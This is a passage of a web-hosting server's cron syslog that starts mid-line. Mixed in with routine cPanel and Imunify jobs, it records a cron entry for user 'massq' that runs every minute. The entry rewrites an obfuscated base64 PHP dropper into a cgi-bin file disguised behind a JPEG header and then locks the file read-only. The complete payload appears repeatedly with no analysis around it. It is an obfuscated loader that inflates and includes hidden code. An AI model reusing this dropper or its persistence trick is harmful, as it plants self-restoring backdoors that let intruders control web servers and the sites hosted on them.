9/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:17:01 server CROND[21696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:17:01 server CROND[21697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:17:01 server CROND[21698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:18:01 server CROND[22166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:18:01 server CROND[22167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:18:01 server CROND[22168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:19:01 server CROND[22546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:19:01 server CROND[22547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:19:01 server CROND[22545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:20:01 server CROND[23106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:20:01 server CROND[23108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:20:01 server CROND[23110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:20:01 server CROND[23112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:20:01 server CROND[23121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:20:01 server CROND[23118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:20:01 server CROND[23120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:20:01 server CROND[23119]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:20:01 server CROND[23117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:21:01 server CROND[23966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:21:01 server CROND[23967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:21:01 server CROND[23968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:22:01 server CROND[24345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:22:01 server CROND[24346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:22:01 server CROND[24347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:23:01 server CROND[24825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:23:01 server CROND[24826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:23:01 server CROND[24827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:24:01 server CROND[25201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:24:01 server CROND[25202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:24:01 server CROND[25203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:25:02 server CROND[25600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 08:25:02 server CROND[25602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:25:02 server CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:25:02 server CROND[25608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:25:02 server CROND[25613]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 08:25:02 server CROND[25612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:25:02 server CROND[25616]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 08:25:02 server CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:26:01 server CROND[26465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:26:01 server CROND[26466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:26:01 server CROND[26467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:27:01 server CROND[26857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:27:01 server CROND[26858]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:27:01 server CROND[26860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:27:01 server CROND[26859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:28:01 server CROND[27346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 08:28:01 server CROND[27347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:28:01 server CROND[27348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
